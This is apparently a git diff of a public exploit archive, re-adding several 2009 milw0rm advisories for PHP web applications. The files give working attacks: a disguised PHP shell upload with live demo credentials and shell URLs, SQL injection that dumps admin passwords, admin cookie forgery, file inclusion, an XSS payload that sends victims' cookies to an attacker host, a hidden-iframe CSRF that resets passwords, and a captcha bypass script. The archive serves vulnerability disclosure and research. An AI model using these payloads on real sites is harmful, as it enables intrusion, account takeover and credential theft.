+   $H->title('About');
+   $H->minsize(500,200);
+   $H->maxsize(500,200);
+   
+   return $H->Label(
+              -text       => $about,
+              -font       => 'monospace 8',
+              -background => '#E4E4E4',
+              -foreground => '#000000',
+            )->pack(-anchor => 'n');
+}
+
+
+
+MainLoop;
+
+# milw0rm.com [2009-01-04]
diff --git a/platforms/php/webapps/7809.txt b/platforms/php/webapps/7809.txt
index 8a5c0e762..91d99e357 100755
--- a/platforms/php/webapps/7809.txt
+++ b/platforms/php/webapps/7809.txt
@@ -1,59 +1,59 @@
-[~] AJClassifieds Realestate RFu
-[~]
-[~] script down: http://www.ajclassifieds.net/demo/ajclassifiedsme/Classifieds_Realestate/
-[~]
-[~]----------------------------------------------------------
-[~] Discovered By: ZoRLu  msn: trt-turk@hotmail.com
-[~]
-[~] Date: 16.01.09
-[~]
-[~] Home: z0rlu.blogspot.com / www.experl.com 
-[~]
-[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
-[~]
-[~] EN ONEMLi N0T: demolarI hackleyen top olsun top ( if you hack demo you will be ball xD )
-[~] -----------------------------------------------------------
-
-first register to site 
-
-you add this code your shell to head 
-
-GIF89a; 
-
-example your_shell.php:
-
-GIF89a;
-<?
-
-...
-
-...
-
-...
-
-?>
-
-and save your_sheell.php
-
-you go index.php?do=postad
-
-add you post select your image for Main Image and Thumbnail Image
-
-http://z0rlu.blogspot.com/script/pictures/[id]shell.php
-
-exp for demo:
-
-user: demouser@ajsquare.com
-
-pass: demouser
-
-http://www.ajclassifieds.net/demo/ajclassifiedsme/Classifieds_Realestate/uploadimages/20090116070716c.php
-
-[~]----------------------------------------------------------------------
-[~] Greetz tO: str0ke & Scriptorium & h4ckinger & Cyber_Thief & BLaSTeR & Ahmet and all experl.com users :)
-[~]
-[~] yildirimordulari.org  &  experl.com
-[~]
-[~]----------------------------------------------------------------------
-
-# milw0rm.com [2009-01-16]
+[~] AJClassifieds Realestate RFu
+[~]
+[~] script down: http://www.ajclassifieds.net/demo/ajclassifiedsme/Classifieds_Realestate/
+[~]
+[~]----------------------------------------------------------
+[~] Discovered By: ZoRLu  msn: trt-turk@hotmail.com
+[~]
+[~] Date: 16.01.09
+[~]
+[~] Home: z0rlu.blogspot.com / www.experl.com 
+[~]
+[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
+[~]
+[~] EN ONEMLi N0T: demolarI hackleyen top olsun top ( if you hack demo you will be ball xD )
+[~] -----------------------------------------------------------
+
+first register to site 
+
+you add this code your shell to head 
+
+GIF89a; 
+
+example your_shell.php:
+
+GIF89a;
+<?
+
+...
+
+...
+
+...
+
+?>
+
+and save your_sheell.php
+
+you go index.php?do=postad
+
+add you post select your image for Main Image and Thumbnail Image
+
+http://z0rlu.blogspot.com/script/pictures/[id]shell.php
+
+exp for demo:
+
+user: demouser@ajsquare.com
+
+pass: demouser
+
+http://www.ajclassifieds.net/demo/ajclassifiedsme/Classifieds_Realestate/uploadimages/20090116070716c.php
+
+[~]----------------------------------------------------------------------
+[~] Greetz tO: str0ke & Scriptorium & h4ckinger & Cyber_Thief & BLaSTeR & Ahmet and all experl.com users :)
+[~]
+[~] yildirimordulari.org  &  experl.com
+[~]
+[~]----------------------------------------------------------------------
+
+# milw0rm.com [2009-01-16]
diff --git a/platforms/php/webapps/7810.txt b/platforms/php/webapps/7810.txt
index a6424b4bf..dd4b4d789 100755
--- a/platforms/php/webapps/7810.txt
+++ b/platforms/php/webapps/7810.txt
@@ -1,59 +1,59 @@
-[~] AJClassifieds Personals RFu
-[~]
-[~] script down: http://www.ajclassifieds.net/demo/ajclassifiedsme/Classifieds_Realestate/
-[~]
-[~]----------------------------------------------------------
-[~] Discovered By: ZoRLu  msn: trt-turk@hotmail.com
-[~]
-[~] Date: 16.01.09
-[~]
-[~] Home: z0rlu.blogspot.com / www.experl.com 
-[~]
-[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
-[~]
-[~] EN ONEMLi N0T: demolarI hackleyen top olsun top ( if you hack demo you will be ball xD )
-[~] -----------------------------------------------------------
-
-first register to site 
-
-you add this code your shell to head 
-
-GIF89a; 
-
-example your_shell.php:
-
-GIF89a;
-<?
-
-...
-
-...
-
-...
-
-?>
-
-and save your_sheell.php
-
-you go index.php?do=postad
-
-add you post select your image for Main Image and Thumbnail Image
-
-http://z0rlu.blogspot.com/script/pictures/[id]shell.php
-
-exp for demo:
-
-user: demouser@ajsquare.com
-
-pass: demouser
-
-http://www.ajclassifieds.net/demo/ajclassifiedsme/Classifieds_Personal/uploadimages/20090116083033c.php
-
-[~]----------------------------------------------------------------------
-[~] Greetz tO: str0ke & Scriptorium & h4ckinger & Cyber_Thief & BLaSTeR & Ahmet and all experl.com users :)
-[~]
-[~] yildirimordulari.org  &  experl.com
-[~]
-[~]----------------------------------------------------------------------
-
-# milw0rm.com [2009-01-16]
+[~] AJClassifieds Personals RFu
+[~]
+[~] script down: http://www.ajclassifieds.net/demo/ajclassifiedsme/Classifieds_Realestate/
+[~]
+[~]----------------------------------------------------------
+[~] Discovered By: ZoRLu  msn: trt-turk@hotmail.com
+[~]
+[~] Date: 16.01.09
+[~]
+[~] Home: z0rlu.blogspot.com / www.experl.com 
+[~]
+[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
+[~]
+[~] EN ONEMLi N0T: demolarI hackleyen top olsun top ( if you hack demo you will be ball xD )
+[~] -----------------------------------------------------------
+
+first register to site 
+
+you add this code your shell to head 
+
+GIF89a; 
+
+example your_shell.php:
+
+GIF89a;
+<?
+
+...
+
+...
+
+...
+
+?>
+
+and save your_sheell.php
+
+you go index.php?do=postad
+
+add you post select your image for Main Image and Thumbnail Image
+
+http://z0rlu.blogspot.com/script/pictures/[id]shell.php
+
+exp for demo:
+
+user: demouser@ajsquare.com
+
+pass: demouser
+
+http://www.ajclassifieds.net/demo/ajclassifiedsme/Classifieds_Personal/uploadimages/20090116083033c.php
+
+[~]----------------------------------------------------------------------
+[~] Greetz tO: str0ke & Scriptorium & h4ckinger & Cyber_Thief & BLaSTeR & Ahmet and all experl.com users :)
+[~]
+[~] yildirimordulari.org  &  experl.com
+[~]
+[~]----------------------------------------------------------------------
+
+# milw0rm.com [2009-01-16]
diff --git a/platforms/php/webapps/7811.txt b/platforms/php/webapps/7811.txt
index f3de84307..337d292e9 100755
--- a/platforms/php/webapps/7811.txt
+++ b/platforms/php/webapps/7811.txt
@@ -1,59 +1,59 @@
-[~] AJClassifieds Merchandise RFu
-[~]
-[~] script down: http://www.ajclassifieds.net/demo/ajclassifiedsme/Classifieds_Merchandise/
-[~]
-[~]----------------------------------------------------------
-[~] Discovered By: ZoRLu  msn: trt-turk@hotmail.com
-[~]
-[~] Date: 16.01.09
-[~]
-[~] Home: z0rlu.blogspot.com / www.experl.com 
-[~]
-[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
-[~]
-[~] EN ONEMLi N0T: demolarI hackleyen top olsun top ( if you hack demo you will be ball xD )
-[~] -----------------------------------------------------------
-
-first register to site 
-
-you add this code your shell to head 
-
-GIF89a; 
-
-example your_shell.php:
-
-GIF89a;
-<?
-
-...
-
-...
-
-...
-
-?>
-
-and save your_sheell.php
-
-you go index.php?do=postad
-
-add you post select your image for Main Image and Thumbnail Image
-
-http://z0rlu.blogspot.com/script/pictures/[id]shell.php
-
-exp for demo:
-
-user: demouser@ajsquare.com
-
-pass: demouser
-
-http://www.ajclassifieds.net/demo/ajclassifiedsme/Classifieds_Merchandise/uploadimages/20090116084627c.php
-
-[~]----------------------------------------------------------------------
-[~] Greetz tO: str0ke & Scriptorium & h4ckinger & Cyber_Thief & BLaSTeR & Ahmet and all experl.com users :)
-[~]
-[~] yildirimordulari.org  &  experl.com
-[~]
-[~]----------------------------------------------------------------------
-
-# milw0rm.com [2009-01-16]
+[~] AJClassifieds Merchandise RFu
+[~]
+[~] script down: http://www.ajclassifieds.net/demo/ajclassifiedsme/Classifieds_Merchandise/
+[~]
+[~]----------------------------------------------------------
+[~] Discovered By: ZoRLu  msn: trt-turk@hotmail.com
+[~]
+[~] Date: 16.01.09
+[~]
+[~] Home: z0rlu.blogspot.com / www.experl.com 
+[~]
+[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
+[~]
+[~] EN ONEMLi N0T: demolarI hackleyen top olsun top ( if you hack demo you will be ball xD )
+[~] -----------------------------------------------------------
+
+first register to site 
+
+you add this code your shell to head 
+
+GIF89a; 
+
+example your_shell.php:
+
+GIF89a;
+<?
+
+...
+
+...
+
+...
+
+?>
+
+and save your_sheell.php
+
+you go index.php?do=postad
+
+add you post select your image for Main Image and Thumbnail Image
+
+http://z0rlu.blogspot.com/script/pictures/[id]shell.php
+
+exp for demo:
+
+user: demouser@ajsquare.com
+
+pass: demouser
+
+http://www.ajclassifieds.net/demo/ajclassifiedsme/Classifieds_Merchandise/uploadimages/20090116084627c.php
+
+[~]----------------------------------------------------------------------
+[~] Greetz tO: str0ke & Scriptorium & h4ckinger & Cyber_Thief & BLaSTeR & Ahmet and all experl.com users :)
+[~]
+[~] yildirimordulari.org  &  experl.com
+[~]
+[~]----------------------------------------------------------------------
+
+# milw0rm.com [2009-01-16]
diff --git a/platforms/php/webapps/7818.txt b/platforms/php/webapps/7818.txt
index 5afbbd902..c8d65e3b8 100755
--- a/platforms/php/webapps/7818.txt
+++ b/platforms/php/webapps/7818.txt
@@ -1,32 +1,32 @@
-                           --:local file include:--
----------------------------------  
-script:simple content management system v 1
-   
--------------------------------------------------------
-download from:http://futurekast.com/fcms/php/SCMSv1.zip
-   
--------------------------------------------------------
-
-...............................................
-vul:/index.php line 34:
-
-<?php 
- if (!isset($_GET['p']))
-  include("../SCMSv1/includes/default.txt");
- } else include("includes/" . $_GET['p'] . ".txt");
- ?>
--------------------------------------------
--------------------------------------------
-xpl:
-
-http://127.0.0.1/path/index.php?p=[Lfi]%00
-
-***************************************************
-***************************************************
----------------------------------------------------
-Author: ahmadbady [kivi_hacker666@yahoo.com]
-
-from:[iran]
----------------------------------------------------
-
-# milw0rm.com [2009-01-18]
+                           --:local file include:--
+---------------------------------  
+script:simple content management system v 1
+   
+-------------------------------------------------------
+download from:http://futurekast.com/fcms/php/SCMSv1.zip
+   
+-------------------------------------------------------
+
+...............................................
+vul:/index.php line 34:
+
+<?php 
+ if (!isset($_GET['p']))
+  include("../SCMSv1/includes/default.txt");
+ } else include("includes/" . $_GET['p'] . ".txt");
+ ?>
+-------------------------------------------
+-------------------------------------------
+xpl:
+
+http://127.0.0.1/path/index.php?p=[Lfi]%00
+
+***************************************************
+***************************************************
+---------------------------------------------------
+Author: ahmadbady [kivi_hacker666@yahoo.com]
+
+from:[iran]
+---------------------------------------------------
+
+# milw0rm.com [2009-01-18]
diff --git a/platforms/php/webapps/7830.txt b/platforms/php/webapps/7830.txt
index d0c46704e..df713f975 100755
--- a/platforms/php/webapps/7830.txt
+++ b/platforms/php/webapps/7830.txt
@@ -1,34 +1,34 @@
-Vendor: http://noahmedling.com
-Version(s): RCBlog 1.03 (May also affect earlier versions)
-Credit: Danny Moules
-Critical: Yes
-
-See PUSH 55 Advisory at https://www.push55.co.uk/index.php?s=ad&id=4
-
-----
-
-By default, the application provides public access to the text file which stores the MD5 hashes of the username/password and these can be found at:
-
-http://www.example.com/rcblog/config/password.txt
-
-These two hashes represent the username (first) and the password (second).
-
-By default these are 9d0aea34e0f22cff881feb82c79ce76a and e20eeabd7d13800e1c30043b269fbc86 respectively.
-
-We need two more hashes to fake the required credentials:
-
-One is the MD5 hash of $_SERVER['PHP_SELF'] which is in this case "/rcblog" -> ad624ca84b593d66e3685e83e4a3618e
-
-The other is the the MD5 hash of the public IP of the user, let's say "192.168.1.5" -> 2e9e9f7c017ee2a1645a236d182fb28c
-
-Finally we combine the hashes into one large string and craft it in a "rcb_id" cookie in the following order:
-
-Directory -> IP Address -> Username -> Password
-
-Resulting in:
-
-9d0aea34e0f22cff881feb82c79ce76ae20eeabd7d13800e1c30043b269fbc86ad624ca84b593d66e3685e83e4a3618e2e9e9f7c017ee2a1645a236d182fb28c
-
-We are then logged in with administrative privileges.
-
-# milw0rm.com [2009-01-19]
+Vendor: http://noahmedling.com
+Version(s): RCBlog 1.03 (May also affect earlier versions)
+Credit: Danny Moules
+Critical: Yes
+
+See PUSH 55 Advisory at https://www.push55.co.uk/index.php?s=ad&id=4
+
+----
+
+By default, the application provides public access to the text file which stores the MD5 hashes of the username/password and these can be found at:
+
+http://www.example.com/rcblog/config/password.txt
+
+These two hashes represent the username (first) and the password (second).
+
+By default these are 9d0aea34e0f22cff881feb82c79ce76a and e20eeabd7d13800e1c30043b269fbc86 respectively.
+
+We need two more hashes to fake the required credentials:
+
+One is the MD5 hash of $_SERVER['PHP_SELF'] which is in this case "/rcblog" -> ad624ca84b593d66e3685e83e4a3618e
+
+The other is the the MD5 hash of the public IP of the user, let's say "192.168.1.5" -> 2e9e9f7c017ee2a1645a236d182fb28c
+
+Finally we combine the hashes into one large string and craft it in a "rcb_id" cookie in the following order:
+
+Directory -> IP Address -> Username -> Password
+
+Resulting in:
+
+9d0aea34e0f22cff881feb82c79ce76ae20eeabd7d13800e1c30043b269fbc86ad624ca84b593d66e3685e83e4a3618e2e9e9f7c017ee2a1645a236d182fb28c
+
+We are then logged in with administrative privileges.
+
+# milw0rm.com [2009-01-19]
diff --git a/platforms/php/webapps/7866.txt b/platforms/php/webapps/7866.txt
index e70895ae1..d3dfa7700 100755
--- a/platforms/php/webapps/7866.txt
+++ b/platforms/php/webapps/7866.txt
@@ -1,44 +1,44 @@
-Author: Xianur0
-Vulnerable Version: All
-
-The Bug is located in the file: Sources/PackageGet.php
-
-Example:
-http://victm.com/index.php?action=packageget;sa=browse;absolute=http://attacker.com
-
-When the admin link between the SMF to load the file:
-
-http://attacker.com/packages.xml
-
-Save this file as packages.xml
-
-<?xml version="1.0"?>
-<!DOCTYPE modification SYSTEM "http://www.simplemachines.org/xml/package-list">
-<!-- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-XSRF SMF PoC By Xianur0
-- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -->
-
-<package-list xmlns="http://www.simplemachines.org/xml/package-list"
-xmlns:smf="http://www.simplemachines.org/">
-<list-title>Xianur0 Was Here</list-title>
-
-<section>
-    <title>SMF XSS PoC By Xianur0</title>
-    <text><![CDATA[<script>alert('XSS')</script>]]></text>
-    <modification>
-        <id>Xianur0:XSMF</id>
-        <name>SMF PoC By Xianur0</name>
-        <filename>smfexploit.zip</filename>
-        <version>0.1</version>
-        <author email="uxmal666@gmail.com">Xianur0</author>
-        <description><![CDATA[<script>alert(document.cookie)</script>]]></description>
-    </modification>
-</section>
-</package-list>
-
-and generate the XSRF:
-
-<iframe src ="http://victim.com/index.php?action=packageget;sa=browse;absolute=http://attacker.com"
-width="0%" scrolling=no width=0%></iframe>
-
-# milw0rm.com [2009-01-26]
+Author: Xianur0
+Vulnerable Version: All
+
+The Bug is located in the file: Sources/PackageGet.php
+
+Example:
+http://victm.com/index.php?action=packageget;sa=browse;absolute=http://attacker.com
+
+When the admin link between the SMF to load the file:
+
+http://attacker.com/packages.xml
+
+Save this file as packages.xml
+
+<?xml version="1.0"?>
+<!DOCTYPE modification SYSTEM "http://www.simplemachines.org/xml/package-list">
+<!-- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+XSRF SMF PoC By Xianur0
+- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -->
+
+<package-list xmlns="http://www.simplemachines.org/xml/package-list"
+xmlns:smf="http://www.simplemachines.org/">
+<list-title>Xianur0 Was Here</list-title>
+
+<section>
+    <title>SMF XSS PoC By Xianur0</title>
+    <text><![CDATA[<script>alert('XSS')</script>]]></text>
+    <modification>
+        <id>Xianur0:XSMF</id>
+        <name>SMF PoC By Xianur0</name>
+        <filename>smfexploit.zip</filename>
+        <version>0.1</version>
+        <author email="uxmal666@gmail.com">Xianur0</author>
+        <description><![CDATA[<script>alert(document.cookie)</script>]]></description>
+    </modification>
+</section>
+</package-list>
+
+and generate the XSRF:
+
+<iframe src ="http://victim.com/index.php?action=packageget;sa=browse;absolute=http://attacker.com"
+width="0%" scrolling=no width=0%></iframe>
+
+# milw0rm.com [2009-01-26]
diff --git a/platforms/php/webapps/7874.txt b/platforms/php/webapps/7874.txt
index c04614bbb..d7f82a486 100755
--- a/platforms/php/webapps/7874.txt
+++ b/platforms/php/webapps/7874.txt
@@ -1,20 +1,20 @@
-# SHOP-INET V.4 Exploit
-# Author: FeDeReR
-# Home : Hacking.ge & darkc0de.com
-# Email : FeDeReR@avoe.ge
-
-#############################################
-
-Exploit : target.com/show_cat2.php?grid=-1+union+select+concat_ws(char(58),username,password)+from+admin
-
-Example :http://shop-inet.ru/shop/show_cat2.php?grid=-1+union+select+concat_ws(char(58),username,password)+from+admin
-
-Admin CP: target/admin/
-
-d0rk: inurl:show_cat2.php?grid=
-
-official site: http://shop-inet.ru/
-
-############################################
-
-# milw0rm.com [2009-01-26]
+# SHOP-INET V.4 Exploit
+# Author: FeDeReR
+# Home : Hacking.ge & darkc0de.com
+# Email : FeDeReR@avoe.ge
+
+#############################################
+
+Exploit : target.com/show_cat2.php?grid=-1+union+select+concat_ws(char(58),username,password)+from+admin
+
+Example :http://shop-inet.ru/shop/show_cat2.php?grid=-1+union+select+concat_ws(char(58),username,password)+from+admin
+
+Admin CP: target/admin/
+
+d0rk: inurl:show_cat2.php?grid=
+
+official site: http://shop-inet.ru/
+
+############################################
+
+# milw0rm.com [2009-01-26]
diff --git a/platforms/php/webapps/7922.txt b/platforms/php/webapps/7922.txt
index 93f5e7237..d29cee93b 100755
--- a/platforms/php/webapps/7922.txt
+++ b/platforms/php/webapps/7922.txt
@@ -1,84 +1,84 @@
-Written By Michael Brooks
-Special thanks to str0ke!
-
-Pligg - XSRF Protection Bypass and Captcha Bypass
-affects 9.9.5
-
-XSRF Protection Bypass
-<html>
-<!--
-Remove this iframe from this file and place it on a site that you want
-to force people to vote for.
-Change these pligg_story_to_vote_for, target_pligg_site and site_you_control .
--->
-<iframe src='http://target_pligg_site/index.php?category="><script
-src=http://site_you_control/pligg_auto_voter.html
-type=text/javascript></script>' width="0%" height="0%"></iframe>
-</html>
-
-	var pligg_story_to_vote_for="/story.php?title=pligg_xss";
-	
-	function r(){
-		var Z=false;
-		if(window.XMLHttpRequest){
-			try{
-				Z=new XMLHttpRequest()
-			}catch(e){Z=false}
-		}else if(window.ActiveXObject){
-			try{
-				Z=new ActiveXObject('Msxml2.XMLHTTP')
-			}catch(e){
-				try{
-					Z=new ActiveXObject('Microsoft.XMLHTTP')
-				}catch(e){Z=false}
-			}
-		}
-		return Z
-	}
-	var x=r();
-	x.open("GET",pligg_story_to_vote_for,true);
-	x.onreadystatechange = function() {
-		if (x.readyState == 4) {
-			var v=x.responseText.split("javascript:vote(");
-			v=v[1].split(")");
-			v=v[0].split(",");
-			var p="id="+v[1]+"&user="+v[0]+"&md5="+v[3].substring(1,33)+"&value="+v[4];
-			var y=r();
-			y.open("POST","/vote.php",true);
-			y.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
-			y.setRequestHeader("Content-length", p.length);
-			y.setRequestHeader("Connection", "close");
-			y.send(p);
-		}
-	}
-	x.send('');
-
-Captcha bypass.
-The link to the capthca image will look something like this:
-
-http://127.0.0.1/Pligg_Beta_9.9.0/ts_image.php?ts_random=54771854
-
-To obtain the clear text, send that ts_random value to the
-captcha_bypass.php with the same web browser:
-
-
-http://127.0.0.1/captcha_bypass.php?ts_random=54771854
-
-captcha_bypass.php:
-
-<?php
-
-$sitekey=82397834;
-
-$ts_random=$_REQUEST['ts_random'];
-
-$datekey = date("F j");
-
-$rcode = hexdec(md5($_SERVER['HTTP_USER_AGENT'] . $sitekey .
-$ts_random . $datekey));
-
-print substr($rcode, 2, 6);
-
-?>
-
-# milw0rm.com [2009-01-29]
+Written By Michael Brooks
+Special thanks to str0ke!
+
+Pligg - XSRF Protection Bypass and Captcha Bypass
+affects 9.9.5
+
+XSRF Protection Bypass
+<html>
+<!--
+Remove this iframe from this file and place it on a site that you want
+to force people to vote for.
+Change these pligg_story_to_vote_for, target_pligg_site and site_you_control .
+-->
+<iframe src='http://target_pligg_site/index.php?category="><script
+src=http://site_you_control/pligg_auto_voter.html
+type=text/javascript></script>' width="0%" height="0%"></iframe>
+</html>
+
+	var pligg_story_to_vote_for="/story.php?title=pligg_xss";
+	
+	function r(){
+		var Z=false;
+		if(window.XMLHttpRequest){
+			try{
+				Z=new XMLHttpRequest()
+			}catch(e){Z=false}
+		}else if(window.ActiveXObject){
+			try{
+				Z=new ActiveXObject('Msxml2.XMLHTTP')
+			}catch(e){
+				try{
+					Z=new ActiveXObject('Microsoft.XMLHTTP')
+				}catch(e){Z=false}
+			}
+		}
+		return Z
+	}
+	var x=r();
+	x.open("GET",pligg_story_to_vote_for,true);
+	x.onreadystatechange = function() {
+		if (x.readyState == 4) {
+			var v=x.responseText.split("javascript:vote(");
+			v=v[1].split(")");
+			v=v[0].split(",");
+			var p="id="+v[1]+"&user="+v[0]+"&md5="+v[3].substring(1,33)+"&value="+v[4];
+			var y=r();
+			y.open("POST","/vote.php",true);
+			y.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
+			y.setRequestHeader("Content-length", p.length);
+			y.setRequestHeader("Connection", "close");
+			y.send(p);
+		}
+	}
+	x.send('');
+
+Captcha bypass.
+The link to the capthca image will look something like this:
+
+http://127.0.0.1/Pligg_Beta_9.9.0/ts_image.php?ts_random=54771854
+
+To obtain the clear text, send that ts_random value to the
+captcha_bypass.php with the same web browser:
+
+
+http://127.0.0.1/captcha_bypass.php?ts_random=54771854
+
+captcha_bypass.php:
+
+<?php
+
+$sitekey=82397834;
+
+$ts_random=$_REQUEST['ts_random'];
+
+$datekey = date("F j");
+
+$rcode = hexdec(md5($_SERVER['HTTP_USER_AGENT'] . $sitekey .
+$ts_random . $datekey));
+
+print substr($rcode, 2, 6);
+
+?>
+
+# milw0rm.com [2009-01-29]
diff --git a/platforms/php/webapps/7978.txt b/platforms/php/webapps/7978.txt
index 67ff682fe..ba3fc79be 100755
--- a/platforms/php/webapps/7978.txt
+++ b/platforms/php/webapps/7978.txt
@@ -1,135 +1,135 @@
-rgboard v4 5p1 (07.07.27) Multiple Vulnerability
-bY make0day@gmail.com
-
-/*************************
-
-rgboard (VERSION v4 (07.07.27))is widely used bulletin board system of Korea.
-It is freely available for all platforms that supports PHP and MySQL.
-But I find a XSS vuln ,LFI vuln and RFI vuln.
-I attached a exploit that makes password = 12345 (who reads xss post).
-Here is the details:
-
-**************************/
-TEST ON VERSION rgboard v4 (07.07.27)
-Download : http://v4.rgboard.com/
-/***************************
-XSS Vulnerability
-
-/wrtie.php
-
-...
-
-$bd_content = rg_conv_text($bd_content,$bd_html); //You have to check 'html use'.
-
-*************************/
-
-poc:
-
-Inject XSS tag : 
-<img src = "http://attacker.com" onError="window.location='http://attacker.com/c.php?c='+document.cookie+'&l='+window.location">Hi there! :)
-
-/rghunter.php - Makes password as 12345
-
-<?php
-  extract($_GET);
-  
-  $url = eregi_replace("http://","",$l);
-
-  $chk = 0;
-
-  for($i = 0; $i < strlen($url); $i++)
-  {
-	if($url[$i] == '/')
-        {
-		$chk = $i;
-	}
-  }
-  for($i = $chk; $i < strlen($url); $i++)
-  {
-  	$url[$i] = "";
-  }
-
-  $url = $url."/../rg4_member/modify.php";
-  setcookie($c);
-?>
-
-<form action = "http://<?=$url ?>?" method = "post" name = "member_info">
-<input type="hidden" name="form_mode" value="member_modify_ok">
-<input type="hidden" name="ret_url" value="../main/index.php">
-<input type="hidden" name="mb_pass" value="12345">
-<input type="hidden" name="mb_pass1" value="12345">
-<input type="hidden" name="mb_nick" value="hacked">
-<input type="hidden" name="mb_email" value="attacker@attack.com">
-<input type="hidden" name="mb_tel11" value="062">
-<input type="hidden" name="mb_tel12" value="1234">
-<input type="hidden" name="mb_tel13" value="1234">
-<input type="hidden" name="mb_tel21" value="010">
-<input type="hidden" name="mb_tel22" value="123">
-<input type="hidden" name="mb_tel23" value="1234">
-<input type="hidden" name="mb_signature" value="hacked">
-<input type="hidden" name="mb_introduce" value="hacked">
-</form>
-<script>
-document.member_info.submit();
-</script>
-
-/***************************
-Local File Inclusion Vulnerability
-
-/_footer.php
-
-	if(file_exists($skin_path."footer.php")) include($skin_path."footer.php"); //File inclusion
-
-*************************/
-
-poc:
-
-//yeah, there is a problem.. file_exists()!
-//How can we bypass it? I don`t know :)
-//If we have account in same server with target, we can attack his board easily
-//Here is the example :
-
-http://attacker.com/RGboard/rg4_board/_footer.php?skin_path=../../../../../../tmp/
-
-
-/tmp/footer.php
-<?
-$d = dir("/tmp");
-echo "Handle: " . $d->handle . "\n";
-echo "Path: " . $d->path . "\n";
-while (false !== ($entry = $d->read())) {
-   echo $entry."\n";
-}
-$d->close();
-?>
-
-//Yeah, It is good, But when we don`t account in that server, How we can beat target?
-//We can find a clue from php.net
-//On windows, use //computername/share/filename or \\computername\share\filename to check files on network shares.
-//As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to List of Supported Protocols/Wrappers
-//for a listing of which wrappers support stat() family of functionality.
-//Do you find clue too? :-O
- 
-
-/***************************
-Remote File Inclusion Vulnerability
-
-/footer.php
-
-		</td>
-	</tr>
-</table>
-<table width="100%" border="0" cellspacing="0" cellpadding="0">
-  <tr>
-
-...
-
-include($_path['counter']."rg_counter.php"); ?>	//File inclusion
-
-*************************/
-
-poc:
-
-http://test.com/RGboard/include/footer.php?_path[counter]=[RFI]
-
-# milw0rm.com [2009-02-04]
+rgboard v4 5p1 (07.07.27) Multiple Vulnerability
+bY make0day@gmail.com
+
+/*************************
+
+rgboard (VERSION v4 (07.07.27))is widely used bulletin board system of Korea.
+It is freely available for all platforms that supports PHP and MySQL.
+But I find a XSS vuln ,LFI vuln and RFI vuln.
+I attached a exploit that makes password = 12345 (who reads xss post).
+Here is the details:
+
+**************************/
+TEST ON VERSION rgboard v4 (07.07.27)
+Download : http://v4.rgboard.com/
+/***************************
+XSS Vulnerability
+
+/wrtie.php
+
+...
+
+$bd_content = rg_conv_text($bd_content,$bd_html); //You have to check 'html use'.
+
+*************************/
+
+poc:
+
+Inject XSS tag : 
+<img src = "http://attacker.com" onError="window.location='http://attacker.com/c.php?c='+document.cookie+'&l='+window.location">Hi there! :)
+
+/rghunter.php - Makes password as 12345
+
+<?php
+  extract($_GET);
+  
+  $url = eregi_replace("http://","",$l);
+
+  $chk = 0;
+
+  for($i = 0; $i < strlen($url); $i++)
+  {
+	if($url[$i] == '/')
+        {
+		$chk = $i;
+	}
+  }
+  for($i = $chk; $i < strlen($url); $i++)
+  {
+  	$url[$i] = "";
+  }
+
+  $url = $url."/../rg4_member/modify.php";
+  setcookie($c);
+?>
+
+<form action = "http://<?=$url ?>?" method = "post" name = "member_info">
+<input type="hidden" name="form_mode" value="member_modify_ok">
+<input type="hidden" name="ret_url" value="../main/index.php">
+<input type="hidden" name="mb_pass" value="12345">
+<input type="hidden" name="mb_pass1" value="12345">
+<input type="hidden" name="mb_nick" value="hacked">
+<input type="hidden" name="mb_email" value="attacker@attack.com">
+<input type="hidden" name="mb_tel11" value="062">
+<input type="hidden" name="mb_tel12" value="1234">
+<input type="hidden" name="mb_tel13" value="1234">
+<input type="hidden" name="mb_tel21" value="010">
+<input type="hidden" name="mb_tel22" value="123">
+<input type="hidden" name="mb_tel23" value="1234">
+<input type="hidden" name="mb_signature" value="hacked">
+<input type="hidden" name="mb_introduce" value="hacked">
+</form>
+<script>
+document.member_info.submit();
+</script>
+
+/***************************
+Local File Inclusion Vulnerability
+
+/_footer.php
+
+	if(file_exists($skin_path."footer.php")) include($skin_path."footer.php"); //File inclusion
+
+*************************/
+
+poc:
+
+//yeah, there is a problem.. file_exists()!
+//How can we bypass it? I don`t know :)
+//If we have account in same server with target, we can attack his board easily
+//Here is the example :
+
+http://attacker.com/RGboard/rg4_board/_footer.php?skin_path=../../../../../../tmp/
+
+
+/tmp/footer.php
+<?
+$d = dir("/tmp");
+echo "Handle: " . $d->handle . "\n";
+echo "Path: " . $d->path . "\n";
+while (false !== ($entry = $d->read())) {
+   echo $entry."\n";
+}
+$d->close();
+?>
+
+//Yeah, It is good, But when we don`t account in that server, How we can beat target?
+//We can find a clue from php.net
+//On windows, use //computername/share/filename or \\computername\share\filename to check files on network shares.
+//As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to List of Supported Protocols/Wrappers
+//for a listing of which wrappers support stat() family of functionality.
+//Do you find clue too? :-O
+ 
+
+/***************************
+Remote File Inclusion Vulnerability
+
+/footer.php
+
+		</td>
+	</tr>
+</table>
+<table width="100%" border="0" cellspacing="0" cellpadding="0">
+  <tr>
+
+...
+
+include($_path['counter']."rg_counter.php"); ?>	//File inclusion
+
+*************************/
+
+poc:
+
+http://test.com/RGboard/include/footer.php?_path[counter]=[RFI]
+
+# milw0rm.com [2009-02-04]
diff --git a/platforms/php/webapps/8009.pl b/platforms/php/webapps/8009.pl
index d46a13b81..b394149a1 100755
--- a/platforms/php/webapps/8009.pl
+++ b/platforms/php/webapps/8009.pl
@@ -1,412 +1,412 @@
-#!/usr/bin/perl
-use LWP::UserAgent;
-use HTTP::Request::Common qw(POST);
-use Getopt::Long;
-
-#                            \#'#/
-#                            (-.-)
-#    -------------------oOO---(_)---OOo------------------
-#    |           __             __                      |
